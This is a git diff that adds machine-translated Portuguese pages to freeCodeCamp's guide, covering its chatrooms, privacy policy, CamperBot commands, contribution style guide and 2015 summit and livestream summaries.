+### Nota: se você veio aqui porque viu uma mensagem de que uma das salas de chat das quais você é membro está fechando, por favor, clique [aqui](//forum.freecodecamp.com/t/simplifying-fccs-gitter-chatrooms/37621) .
+
+# A seguir estão as nossas salas de chat oficiais.
+
+**Observe que todas as salas de bate-papo listadas aqui são acessíveis e indexadas publicamente pelos mecanismos de pesquisa, portanto, apenas compartilhe endereços de e-mail ou outras informações confidenciais em mensagens privadas.**
+
+[FreeCodeCamp](https://gitter.im/freecodecamp/FreeCodeCamp) nossa sala de chat principal - sair e conversar sobre a vida e aprender a codificar  
+[Ajude a](https://gitter.im/freecodecamp/Help) obter ajuda com nossos desafios de HTML, CSS e jQuery de seus colegas campistas  
+[HelpJavaScript](https://gitter.im/freecodecamp/HelpJavaScript) obtém ajuda com nossos desafios de JavaScript e algoritmo de seus colegas campistas  
+[HelpFrontEnd](https://gitter.im/freecodecamp/HelpFrontEnd) obter ajuda com nossos projetos front-end de seus colegas campistas  
+[HelpDataViz](https://gitter.im/freecodecamp/HelpDataViz) obter ajuda com nossos projetos de visualização de dados de seus colegas campistas  
+[HelpBackEnd](https://gitter.im/freecodecamp/HelpBackEnd) obter ajuda com nossos projetos de back-end de seus colegas campistas  
+[A CodeReview](https://gitter.im/freecodecamp/CodeReview) fornece e recebe feedback construtivo de seus colegas campistas em seus projetos  
+[YouCanDoThis](https://gitter.im/freecodecamp/YouCanDoThis) aprender a codificar é difícil - compartilhe seus sentimentos e obtenha apoio moral aqui  
+[LetsPair](https://gitter.im/FreeCodeCamp/LetsPair) encontrar outros campistas com quem você pode emparelhar programa  
+[CodingJobs](https://gitter.im/FreeCodeCamp/CodingJobs) conversar sobre o processo de obtenção de um trabalho de codificação, como portfólios, redes e entrevistas  
+[Casual](https://gitter.im/freecodecamp/Casual) você pode conversar sobre seus interesses não-codificadores com outros campistas aqui  
+[Os](https://gitter.im/freecodecamp/Contributors) colaboradores nos ajudam a melhorar nosso currículo de código aberto  
+[DataScience](https://gitter.im/freecodecamp/DataScience) nos ajuda a entender nossos shows e shows de dados públicos
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-privacy-policy/index.md b/client/src/guide/portuguese/meta/free-code-camp-privacy-policy/index.md
new file mode 100644
index 0000000000..cb9a682aa3
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-privacy-policy/index.md
@@ -0,0 +1,65 @@
+---
+title: Free Code Camp Privacy Policy
+localeTitle: Política de privacidade do Free Code Camp
+---
+O Free Code Camp está empenhado em respeitar a privacidade dos visitantes dos nossos sites e aplicações web. As diretrizes abaixo explicam como protegemos a privacidade dos visitantes do FreeCodeCamp.com e seus recursos.
+
+## Informação pessoalmente identificável
+
+O Free Code Camp protege a identidade dos visitantes do FreeCodeCamp.com, limitando a coleta de informações pessoalmente identificáveis.
+
+O Free Code Camp não recolhe ou solicita intencionalmente informações pessoalmente identificáveis ​​de ou sobre crianças menores de 13 anos, exceto conforme permitido por lei. Se descobrirmos que recebemos qualquer informação de uma criança com menos de 13 anos que viole esta política, excluiremos essa informação imediatamente. Se você acredita que o Free Code Camp tem alguma informação de ou sobre qualquer pessoa com menos de 13 anos, envie um email para [team@freecodecamp.com](mailto:team@freecodecamp.com) .
+
+Todas as informações pessoalmente identificáveis ​​que você nos fornece são usadas pelo Free Code Camp e sua equipe para processar e gerenciar sua conta, analisar os dados demográficos de nossos usuários ou fornecer serviços através do site.
+
+Se você optar por fornecer informações pessoalmente identificáveis ​​para nós, você pode receber e-mails ocasionais de nós que são relevantes para o Free Code Camp, obter um emprego ou aprender a codificar em geral. O Free Code Camp também pode usar outros provedores terceirizados para facilitar a entrega dos serviços descritos acima, e esses provedores de terceiros podem ser fornecidos com ou ter acesso a informações pessoalmente identificáveis ​​com o único propósito de fornecer esses serviços, para você em em nome do Free Code Camp.
+
+O Free Code Camp também pode divulgar informações pessoalmente identificáveis ​​em circunstâncias legais especiais. Por exemplo, essas informações podem ser usadas quando for necessário para proteger nossos direitos autorais ou direitos de propriedade intelectual, ou se a lei exigir que o façamos.
+
+## Informação anônima
+
+Dados agregados anônimos podem ser fornecidos a outras organizações com as quais nos associamos para fins estatísticos. Por exemplo, podemos informar a uma organização que uma determinada porcentagem dos visitantes do nosso site são adultos entre 25 e 35 anos.
+
+## Cookies e Beacons - Use por Free Code Camp; Optando por
+
+Usamos cookies e logs de software para monitorar o uso do FreeCodeCamp.com e coletar informações não pessoais sobre os visitantes do site. Cookies são pequenos arquivos que o Free Code Camp transfere para os discos rígidos de visitantes para fins de manutenção de registros. Esses sistemas de monitoramento nos permitem rastrear informações gerais sobre nossos visitantes, como o tipo de navegadores (por exemplo, Firefox ou Internet Explorer), os sistemas operacionais (por exemplo, Windows ou Macintosh) ou os provedores de Internet (por exemplo, Comcast ) eles usam. Essas informações são usadas para fins de pesquisa estatística e de mercado para adaptar o conteúdo aos padrões de uso e para fornecer serviços solicitados por nossos clientes. Para excluir esses cookies, consulte as configurações de privacidade do seu navegador.
+
+Um beacon é um objeto de arquivo eletrônico (normalmente uma imagem transparente) colocado no código de uma página da web. Usamos beacons de terceiros para monitorar os padrões de tráfego de visitantes de uma página do Free Code Camp.com para outra e para melhorar o desempenho do site. Nenhuma das informações que coletamos dessa maneira pode ser usada para identificar qualquer pessoa que visite nosso site.
+
+## Segurança
+
+Qualquer informação pessoalmente identificável coletada através deste site é armazenada em servidores de acesso limitado. Manteremos salvaguardas para proteger esses servidores e as informações que eles armazenam.
+
+## pesquisas
+
+Podemos ocasionalmente realizar pesquisas on-line. Todas as pesquisas são voluntárias e você pode se recusar a participar.
+
+## direito autoral
+
+Todo o conteúdo do FreeCodeCamp.com é protegido por direitos autorais pelo Free Code Camp. Se você quiser redistribuí-lo além de simplesmente compartilhá-lo através da mídia social, entre em contato conosco pelo e- [mail team@freecodecamp.com](mailto:team@freecodecamp.com) .
+
+## Contatando-nos
+
+Se você tiver dúvidas sobre o Free Code Camp, ou para corrigir, atualizar ou remover informações pessoalmente identificáveis, envie um email para [team@freecodecamp.com](mailto:team@freecodecamp.com) .
+
+## Links para outros sites
+
+Todos os sites da Free Code Camp contêm links para outros sites. O Free Code Camp não é responsável pelas práticas de privacidade ou pelo conteúdo desses sites de terceiros. Solicitamos a todos os visitantes do FreeCodeCamp.com que sigam práticas seguras de Internet: Não forneça informações de identificação pessoal a esses sites, a menos que você tenha verificado suas políticas de segurança e privacidade.
+
+## Retenção de dados
+
+Nós mantemos suas informações pelo tempo que for necessário para nos permitir usá-las para os propósitos que comunicamos a você e cumprimos as leis ou regulamentações aplicáveis.
+
+## Transferências de Negócios
+
+À medida que continuamos a desenvolver nossos negócios, podemos vender ou comprar subsidiárias ou unidades de negócios. Em tais transações, as informações do cliente geralmente são um dos ativos de negócios transferidos, mas permanecem sujeitas às promessas feitas em qualquer Política de Privacidade pré-existente (a menos, é claro, que o cliente consinta de outra forma). Além disso, no caso improvável de que o Free Code Camp ou substancialmente todos os seus ativos sejam adquiridos, as informações dos clientes serão um dos ativos transferidos e permanecerão sujeitos à nossa Política de Privacidade.
+
+## Seus direitos de privacidade na Califórnia
+
+Se você é residente na Califórnia, tem o direito de impedir o compartilhamento de suas informações pessoais com terceiros para fins de marketing por meio de um meio gratuito. Se você enviar uma solicitação para o endereço acima, o Free Code Camp fornecerá um Aviso de Escolha do Cliente da Califórnia que você poderá usar para não participar desse compartilhamento de informações. Para receber este aviso, envie uma solicitação por escrito para [team@freecodecamp.com](mailto:team@freecodecamp.com) , especificando que você está solicitando o seu "California Customer Choice Notice". Por favor, aguarde pelo menos trinta (30) dias para uma resposta.
+
+## Aceitação dos Termos e Condições da Política de Privacidade
+
+Ao utilizar este site, você indica sua concordância com os termos e condições desta Política de Privacidade da FreeCodeCamp.com. Se você não concorda com estes termos, por favor, não use este site. Reservamo-nos o direito, a nosso exclusivo critério, de alterar, modificar, adicionar ou remover partes desta política a qualquer momento. Todos os termos alterados entram em vigor automaticamente 30 dias depois de serem publicados inicialmente no site. Por favor, verifique esta página periodicamente para quaisquer modificações. Seu uso continuado de FreeCodeCamp.com após a publicação de quaisquer alterações a estes termos significa que você aceitou essas alterações.
+
+Se você tiver alguma dúvida ou preocupação, por favor envie um email para [team@freecodecamp.com](mailto:team@freecodecamp.com) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-site-improvement-august-2015/index.md b/client/src/guide/portuguese/meta/free-code-camp-site-improvement-august-2015/index.md
new file mode 100644
index 0000000000..78561f086e
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-site-improvement-august-2015/index.md
@@ -0,0 +1,32 @@
+---
+title: Free Code Camp Site Improvement August 2015
+localeTitle: Melhoria do Site Free Camp Camp Agosto de 2015
+---
+## Melhorias de domingo
+
+*   substituímos nossos vídeos iniciados por um processo simples de 10 minutos (usando GIFs em vez de vídeos)
+*   dobrou o número de nossos desafios de HTML5 e Bootstrap
+*   substituiu os desafios JavaScript e jQuery da Codecademy por nossos próprios desafios
+*   adicionou nossos próprios desafios de Programação Funcional e Programação Orientada a Objetos
+*   adicionamos dois novos desafios de front-end do Front End Project (Portfólio Pessoal e jogo Simon) e movemos nossos Projetos de Front-End para muito mais cedo em nosso currículo
+*   substituiu completamente o nosso Guia de Campo por um wiki de fonte aberta pesquisável e facilmente editável
+*   fez com que o seu código de Algoritmo fosse armazenado no seu navegador, então se você deixar a página, seu código estará lá quando você voltar
+*   simplificou nossas páginas de portfólio. Agora você pode clicar em um único botão para espelhar seu perfil do Free Code Camp com seu perfil do GitHub. As soluções de algoritmos não são mais mostradas aqui, mas serão acessadas por meio de nossa API.
+*   Corrigido alguns problemas com Brownie Points and Streaks
+*   melhoramos a nossa página de Notícias da Camper, removendo os comentários (na maioria das vezes não utilizados) e adicionando upvoting de um clique
+*   adicionou uma licença Creative Commons para literalmente todas as nossas imagens e texto
+*   Graças ao Loopback, tudo é agora uma API, e em breve publicaremos maneiras legais de interagir com dados (não sensíveis) do Free Code Camp
+
+## Perguntas frequentes
+
+### O desafio que eu estava fazendo mais recentemente desapareceu.
+
+Você pode apenas continuar. Se você tiver tempo para voltar e experimentar nossos novos desafios, eles devem ser uma revisão rápida para você. Caso contrário, continue seguindo em frente.
+
+### Por que você está implantando todas essas melhorias de uma só vez?
+
+Temos trabalhado em alguns dos recursos por meses em nossa ramificação Staging. A maioria deles foi realizada por uma única tarefa: nossa transição para o [Loopback](http://loopback.io/) . [@BerkeleyTrue](/users/berkeleytrue) começou a trabalhar nisso em março.
+
+### Estava implantando tudo de uma vez necessária?
+
+Provavelmente não. A partir de agora, implantaremos novos códigos várias vezes ao dia (como fizemos antes do recurso Loopback). Planejamos começar a usar uma [integração contínua](https://en.wikipedia.org/wiki/Continuous_integration) e outras práticas recomendadas ágeis à medida que reduzimos nossa [dívida técnica](https://en.wikipedia.org/wiki/Technical_debt) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-streaks/index.md b/client/src/guide/portuguese/meta/free-code-camp-streaks/index.md
new file mode 100644
index 0000000000..ad58a2d060
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-streaks/index.md
@@ -0,0 +1,9 @@
+---
+title: Free Code Camp Streaks
+localeTitle: Listas de Acampamento com Código Livre
+---
+Seu perfil de usuário exibe sua atividade recente. Se você receber [Pontos Brownie](http://forum.freecodecamp.com/t/free-code-camp-brownie-points/18380) em vários dias consecutivos, você começará uma sequência.
+
+![Uma foto da leitura de uma campainha mostrando uma sequência de 21 dias](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8e538a398b1081372505f02ad173e326fe0f5825.png)
+
+Isso mostra a todos que você é altamente ativo em nossa comunidade e que você codifica muito. Quando você está aprendendo a codificar, é importante que você [codifique pelo menos alguns todos os dias](http://www.quora.com/How-does-one-become-a-great-coder/answer/Quincy-Larson) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-style-guide-for-algorithms/index.md b/client/src/guide/portuguese/meta/free-code-camp-style-guide-for-algorithms/index.md
new file mode 100644
index 0000000000..27a945e841
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-style-guide-for-algorithms/index.md
@@ -0,0 +1,20 @@
+---
+title: Free Code Camp Style Guide for Algorithms
+localeTitle: Guia de Estilo Livre do Camp Code para Algoritmos
+---
+Escrever desafios de Algoritmo é uma ótima maneira de exercitar suas próprias habilidades de resolução de problemas e testes. Siga este processo atentamente para maximizar as chances de aceitarmos seu Algoritmo.
+
+*   `seed_data/Algorithms.json` repositório Free Code Camp e abra o `seed_data/Algorithms.json` para se familiarizar com o formato dos nossos Algoritmos.
+*   Independentemente da dificuldade do Algoritmo, coloque-o como o último Algoritmo no arquivo JSON. Altere um dos números no ID para garantir que seu Algoritmo tenha um ID exclusivo.
+*   No terminal, execute o `node seed_data/seed.js` Execute `gulp` . Você deve poder navegar para o seu novo Algoritmo no mapa de desafios. Sempre que você fizer uma alteração no Algorithm.json, precisará replantar novamente para ver essas alterações no navegador.
+*   Resolva seu próprio algoritmo. Confirme se seus testes funcionam conforme o esperado e se suas instruções estão suficientemente claras.
+*   Envie uma solicitação de recebimento para a ramificação Preparatória do Free Code Camp e, no corpo da solicitação de recebimento, vincule a uma essência que tenha sua solução algorítmica.
+
+Aqui está uma descrição de cada um dos campos dos Algoritmos.
+
+*   Nome - O nome do seu desafio. Tudo bem que isso seja engraçado, mas deve ser breve e relevante para a tarefa.
+*   Dificuldade - Tente classificar a dificuldade comparada com os desafios do Algoritmo existente. Um bom proxy para a dificuldade de um Algoritmo é quanto tempo você leva para resolvê-lo. Para cada 15 minutos, aumente a dificuldade. Por exemplo, um Algoritmo de uma hora deve ser provavelmente um 4.
+*   Descrição - parágrafos separados com uma quebra de linha. Somente o primeiro parágrafo é visível antes de um usuário antes de clicar no botão "Mais informações". Todas as informações necessárias devem ser incluídas no primeiro parágrafo. Escreva este primeiro parágrafo da forma mais sucinta possível. Os parágrafos subseqüentes devem oferecer dicas ou detalhes, se necessário. Se o seu assunto exigir uma compreensão mais profunda, você poderá vincular-se à Wikipedia.
+*   Desafio Semente - É aqui que você configura o que estará no editor quando o campista iniciar o Algoritmo.
+*   Testes - Esses testes são o que trazem seu desafio à vida. Sem eles, não podemos confirmar a precisão da resposta enviada pelo usuário. Escolha seus testes com sabedoria. Testes de algoritmo são escritos usando a biblioteca de asserção Chai.js. Por favor, use o dever e espere a sintaxe para a legibilidade do usuário final. Como um exemplo do que não fazer, muitos dos desafios originais do Algorithm são escritos com a sintaxe assert e muitos dos casos de teste são difíceis de ler. Se a sua pergunta Algoritmo tiver muitos casos de borda, você precisará escrever muitos testes para cobertura total. Se você se encontrar escrevendo mais testes do que deseja, talvez considere simplificar os requisitos do seu desafio de Algoritmo. Para o nível de dificuldade 1 a 3, você geralmente precisará apenas de 2 a 4 testes.
+*   MDNlinks - Dê uma olhada no `seed_data/bonfireMDNlinks.js` . Se algum desses conceitos for relevante para seu Algoritmo, inclua-os. Se você souber de um artigo do MDN que não esteja vinculado aqui, adicione-o ao arquivo bonfireMDNlinks.js antes de adicioná-lo ao seu algoritmo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-twitch-account/index.md b/client/src/guide/portuguese/meta/free-code-camp-twitch-account/index.md
new file mode 100644
index 0000000000..9fadb1df37
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-twitch-account/index.md
@@ -0,0 +1,17 @@
+---
+title: Free Code Camp Twitch Account
+localeTitle: Conta gratuita no Code Camp Twitch
+---
+Twitch é um popular serviço de streaming ao vivo que o Free Code Camp se distanciou
+
+Tanto quanto nós gostamos de usar este serviço, os fluxos eram poucos e distantes entre si e, portanto, não estava servindo ao seu propósito.
+
+Decidimos direcionar nosso foco para o uso do [YouTube](https://www.youtube.com/freecodecamp) para transmitir nossos encontros mensais e programação em pares, bem como fazer upload de tutoriais e caminhadas.
+
+Você pode encontrar nossa sala de chat do YouTube aqui: [FreeCodeCamp / YouTube](https://gitter.im/FreeCodeCamp/YouTube)
+
+Você pode encontrar o antigo canal de contração aqui: [twitch.tv/freecodecamp](https://www.twitch.tv/freecodecamp)
+
+~~ FreeCodeCamp usa Twitch.tv para transmitir transmissões em directo. Isso pode ser qualquer coisa, desde a programação em par ao vivo até a nossa cúpula mensal, onde grandes eventos de notícias e novos desenvolvimentos são anunciados.
+
+~~ Todos os níveis de codificadores são encorajados a transmitir no canal de contração do FreeCodeCamp. Se isso é algo que lhe interessaria, por favor, entre em contato com o mods twitch no gitter.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-unofficial-local-groups/index.md b/client/src/guide/portuguese/meta/free-code-camp-unofficial-local-groups/index.md
new file mode 100644
index 0000000000..418f4f4a49
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-unofficial-local-groups/index.md
@@ -0,0 +1,9 @@
+---
+title: Free Code Camp Unofficial Local Groups
+localeTitle: Free Code Camp Grupos locais não oficiais
+---
+![Fotografia de uma sessão de café e código em Toronto](https://discourse-user-assets.s3.amazonaws.com/original/2X/f/ff5fe6693f4d56b6b6b768d91f10bd4cdd9f3eb2.jpg)
+
+Os Grupos de Estudo gratuitos do Code Camp representam uma experiência localizada da nossa comunidade, e são inteiramente executados e organizados por pessoas como você, que se dedicam a aprender como codificar e ajudar os outros a fazê-lo. Seus sites do Facebook são o local para organizar eventos ao estilo de café e código, programar em pares localmente em sessões de hack ou compartilhar notícias sobre outros eventos relacionados a codificação em sua área. Eles são destinados a reunir pessoas dentro de 15-20 minutos um do outro.
+
+Se você mora em uma grande área metropolitana ou em uma cidade pequena, incentivamos você a participar ou criar seu próprio grupo para conhecer outras pessoas ocupadas que estão aprendendo a codificar.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camps-august-live-stream/index.md b/client/src/guide/portuguese/meta/free-code-camps-august-live-stream/index.md
new file mode 100644
index 0000000000..5df7813581
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camps-august-live-stream/index.md
@@ -0,0 +1,22 @@
+---
+title: Free Code Camps August Live Stream
+localeTitle: Transmissão ao vivo de Code Free Camps August
+---
+# A transmissão ao [vivo de](https://youtu.be/UhoxoYrJ6Qs) Free Code Camp [August](https://youtu.be/UhoxoYrJ6Qs) foi a maior.
+
+## A agenda incluiu:
+
+*   Palavras de abertura de Michael
+*   Novos desafios de front end [3:00](https://youtu.be/UhoxoYrJ6Qs?t=3m)
+*   Desafios de pilha completa recém-configurados
+*   Novos projetos sem fins lucrativos [12:32](https://youtu.be/UhoxoYrJ6Qs?t=12m32s)
+*   Wiki [22:49](https://youtu.be/UhoxoYrJ6Qs?t=22m49s)
+*   Novas salas de chat [29:40](https://youtu.be/UhoxoYrJ6Qs?t=29m40s)
+*   Novas [transmissões](https://youtu.be/UhoxoYrJ6Qs?t=35m34s) ao vivo [35:34](https://youtu.be/UhoxoYrJ6Qs?t=35m34s)
+*   Nova Estação de Rádio Internet DJ'd por campers [36:30](https://youtu.be/UhoxoYrJ6Qs?t=36m30s)
+*   Bot FCC [39:24](https://youtu.be/UhoxoYrJ6Qs?t=39m24s)
+*   Matt Yamamoto Front End Project Demo [54:24](https://youtu.be/UhoxoYrJ6Qs?t=54m24s)
+*   Fechando de Quincy [1:04:15](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s)
+*   [Puxe pedido após a festa com Quincy](https://youtu.be/r0lCJ_TFYlI)
+
+[![Captura de tela de nosso feed de contração em 1º de agosto de 2015](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2630ba14f0dd558a01903fd81d4ebbb9309cb926.png)](http://www.youtube.com/watch?feature=player_embedded&v=UhoxoYrJ6Qs)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camps-camperbot/index.md b/client/src/guide/portuguese/meta/free-code-camps-camperbot/index.md
new file mode 100644
index 0000000000..0f0f42fd70
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camps-camperbot/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camps Camperbot
+localeTitle: Campistas de Código Livres em Camperbot
+---
+Oi, eu sou **[CamperBot](https://github.com/FreeCodeCamp/freecodecamp/wiki/camperbot)** ! Eu posso te ajudar nesta sala de chat ![:smile:](//forum.freecodecamp.com/images/emoji/emoji_one/smile.png?v=2 ":sorriso:")
+
+### Comandos Básicos:
+
+*   `find TOPIC` encontre todas as entradas sobre o tópico. por exemplo, `find js`
+*   `wiki TOPIC` mostra o conteúdo da página do tópico
+*   `thanks @username` enviar pontos de brownie para outro usuário
+*   `about @username` mostra informações sobre esse usuário
+*   `Algorithm BONFIRENAME` informações sobre um algoritmo
+
+conheça a CamperBot em [![FreeCodeCamp / camperbotPlayground </a>](https://gitter.im/FreeCodeCamp/camperbotPlayground)](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg) 
+
+## [Exemplo de Comandos](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+[](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+ [`find js   # all JS entries 
+ wiki muta  # first entry with muta in name 
+ wiki bobbytables  # showing images 
+ wiki video  # and video 
+ rollem    # secret sauce 
+ Algorithm roman   # any Algorithm with roman in name` ](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg) 
+
+[](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+Para jogar com o CamperBot, por favor use o canal de teste: [https://gitter.im/FreeCodeCamp/camperbotPlayground](https://gitter.im/FreeCodeCamp/camperbotPlayground)
+
+## Ajuda sobre Algoritmos
+
+Live atualmente no canal HelpBonFires no Gitter [https://gitter.im/FreeCodeCamp/HelpBonfires](https://gitter.im/FreeCodeCamp/HelpBonfires)
+
+Nós adicionamos alguns comandos específicos do Algoritmo. Se você digitar `Algorithm $BONFIRENAME` (onde $ BONFIRENAME faz parte de um nome de Algoritmo), ele definirá o bate-papo como o Algoritmo. Então você pode usar alguns outros comandos específicos do Algoritmo:
+
+*   bf details - mais informações
+*   bf spoiler - mostra algumas dicas
+
+## Mais comandos
+
+*   `update` puxa novas edições wiki o mais rápido possível
+*   `topics` selecionados páginas do wiki
+*   `rooms` todos os quartos em que o bot está
+*   `archives` mostram história
+*   `music` obsoleta, o plug DJ não existe mais.
+*   `twitch` mostrar o feed de contração
+
+## Conteúdo para o wiki
+
+Sinta-se à vontade para criar novas páginas, uma entrada de exemplo está aqui: [https://github.com/FreeCodeCamp/freecodecamp/wiki/example](https://github.com/FreeCodeCamp/freecodecamp/wiki/example)
+
+## Repositório de Origem
+
+`https://github.com/FreeCodeCamp/camperbot`
+
+Bifurque-o e divirta-se!
+
+## Roteiro
+
+Estamos procurando ideias para novos recursos para adicionar e algumas pessoas para ajudar a trabalhar no bot. Dê uma olhada nos ingressos com [ajuda desejada](https://github.com/FreeCodeCamp/camperbot/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) no repositório e talvez você possa contribuir?
+
+No futuro, estamos planejando:
+
+*   Os tutoriais passo a passo do algoritmo estarão disponíveis via chat e no site da CamperBot.
+*   Marcação em tempo real e pesquisa de bate-papos por tópico
+*   uma linguagem de script e processamento de linguagem natural Envolva-se e deixe-nos saber o que você gostaria de ver em seguida!
+
+## Chatroom do desenvolvedor
+
+*   [Junte-se a nós em nossa sala de bate-papo do repositório](https://gitter.im/FreeCodeCamp/camperbot) para discutir novos recursos. Talvez possamos nos parear para trabalhar no bot 2.0!
+*   [Junte-se a esta sala de chat](https://gitter.im/FreeCodeCamp/camperbotPlayground) para mexer com o CamperBot e experimentar os comandos, revisar suas edições para o conteúdo do wiki, etc.
+
+![apreciar](https://avatars1.githubusercontent.com/camperbot?&s=100) Codificação Feliz!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camps-summit-august-2015/index.md b/client/src/guide/portuguese/meta/free-code-camps-summit-august-2015/index.md
new file mode 100644
index 0000000000..2b7d19dfa0
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camps-summit-august-2015/index.md
@@ -0,0 +1,22 @@
+---
+title: Free Code Camps Summit August 2015
+localeTitle: Cimeira de Códigos gratuitos em agosto de 2015
+---
+A transmissão ao vivo de Free Code Camp August foi a maior.
+
+## A agenda incluiu:
+
+*   Palavras de abertura de Michael
+*   Novos desafios de front end [3:00](https://youtu.be/UhoxoYrJ6Qs?t=3m)
+*   Desafios de pilha completa recém-configurados
+*   Novos projetos sem fins lucrativos [12:32](https://youtu.be/UhoxoYrJ6Qs?t=12m32s)
+*   Wiki [22:49](https://youtu.be/UhoxoYrJ6Qs?t=22m49s)
+*   Novas salas de chat [29:40](https://youtu.be/UhoxoYrJ6Qs?t=29m40s)
+*   Novas [transmissões](https://youtu.be/UhoxoYrJ6Qs?t=35m34s) ao vivo [35:34](https://youtu.be/UhoxoYrJ6Qs?t=35m34s)
+*   Nova Estação de Rádio Internet DJ'd por campers [36:30](https://youtu.be/UhoxoYrJ6Qs?t=36m30s)
+*   Bot FCC [39:24](https://youtu.be/UhoxoYrJ6Qs?t=39m24s)
+*   Matt Yamamoto Front End Project Demo [54:24](https://youtu.be/UhoxoYrJ6Qs?t=54m24s)
+*   Fechando de Quincy [1:04:15](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s)
+*   [Puxe pedido após a festa com Quincy](https://youtu.be/r0lCJ_TFYlI)
+
+[![Captura de tela de nosso feed de contração em 1º de agosto de 2015](//discourse-user-assets.s3.amazonaws.com/original/2X/a/ae495957ffa462d9cb26a59b9a4e79e8407a700c.png)](http://www.youtube.com/watch?feature=player_embedded&v=UhoxoYrJ6Qs)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camps-summit-december-2015/index.md b/client/src/guide/portuguese/meta/free-code-camps-summit-december-2015/index.md
new file mode 100644
index 0000000000..e89914bfa5
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camps-summit-december-2015/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camps Summit December 2015
+localeTitle: Cimeira de Camps Free Code Dezembro de 2015
+---
+[Cimeira de Dezembro do Free Code Camp](https://youtu.be/TsIzthxhTHc)
+
+Aqui está um resumo para aqueles que não têm tempo para assistir aos 90 minutos completos:
+
+**\- novo currículo -**
+
+\-Nada vai mudar até e incluindo o Certificado de Desenvolvimento Front End.
+
+\-A antiga Certificação Full Stack agora será a certificação Backend. Isso incluirá o material de backend atual (incluindo os projetos de back-end) e também incluirá os projetos de back-end de desenvolvimento 5JSON / API. Algoritmos avançados serão incluídos aqui.
+
+\-React.js irá substituir Angular / js e estará na Data Visualization Certification, assim como SASS e D3.js. Esta certificação incluirá projetos React / SASS e projetos D3.
+
+Certificação de desenvolvimento de pilha completa vem após a conclusão dos outros três certificação e quatro projetos sem fins lucrativos. Dois deles serão novos projetos e dois estarão mantendo / estendendo o código legado.
+
+\-Interview Preparation inclui entrevista prep, whiteboard prep e entrevistando outros campistas, ao vivo.
+
+\-Algumas mudanças centradas em torno do novo currículo estarão disponíveis em alguns dias.
+
+**\- Desafios**
+
+\- [@SaintPeter](/users/saintpeter) está criando ~ 60 novos Desafios Javascript.
+
+\-Também criar novos checkpoints que funcionarão como mini-algoritmos durante os Desafios. Eles serão desafios de 'páginas em branco' que visam facilitar os campistas na transição de Desafios para Algoritmos.
+
+\-Existe uma ferramenta de desafio 'desafio-o-matica' que qualquer um poderá usar para criar desafios e contribuir para a FCC.
+
+**\--Hike--**
+
+\-'Hikes 'são vídeos curtos que cobrem conceitos básicos de ciência da computação. Eles serão expandidos para qualquer tópico que seja relevante para programação, incluindo matemática, engenharia, etc. A esperança é que os participantes enviem vídeos sobre tópicos adicionais que considerem relevantes.
+
+\-Um objetivo da FCC é disponibilizar todo o currículo offline. [A @QuincyLarson](/users/quincylarson) discutiu a ideia de ter o Raspberry Pis carregado com o FCC e distribuído.
+
+**\- Análise Comunitária -**
+
+\-Há um [bate](https://gitter.im/FreeCodeCamp/DataScience) - [papo da FCC sobre ciência de dados](https://gitter.im/FreeCodeCamp/DataScience) no Gitter, onde algumas análises legais sobre a FCC estão sendo postadas.
+
+\- A [FCC Labs](https://www.freecodecamp.com/labs) tem alguns aplicativos interessantes que você pode usar para ver algumas das visualizações de dados que foram construídas até o momento.
+
+**\- Novo Wikcionário FCC**
+
+\-Wiki foi movido para um novo repo devido a spam. Os campistas que quiserem contribuir podem fazer um pedido de [compra](https://www.github.com/freecodecamp/wiki) no [The Repo](https://www.github.com/freecodecamp/wiki) .
+
+\-O novo wiki em si está disponível no [site](https://beta.freecodecamp.com/wiki) da [Beta](https://beta.freecodecamp.com/wiki) .
+
+**\--Q & A--**
+
+\-Há pequenas tarefas que os campistas podem contribuir. Os problemas marcados como 'help-wanted' no [Repositório Principal da FCC](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) são problemas menores, como erros de digitação, que qualquer um pode corrigir. Basta fazer um pedido de pull e fazer as correções. Instruções sobre como contribuir estão no [Repor Principal da FCC](https://github.com/FreeCodeCamp/FreeCodeCamp)
+
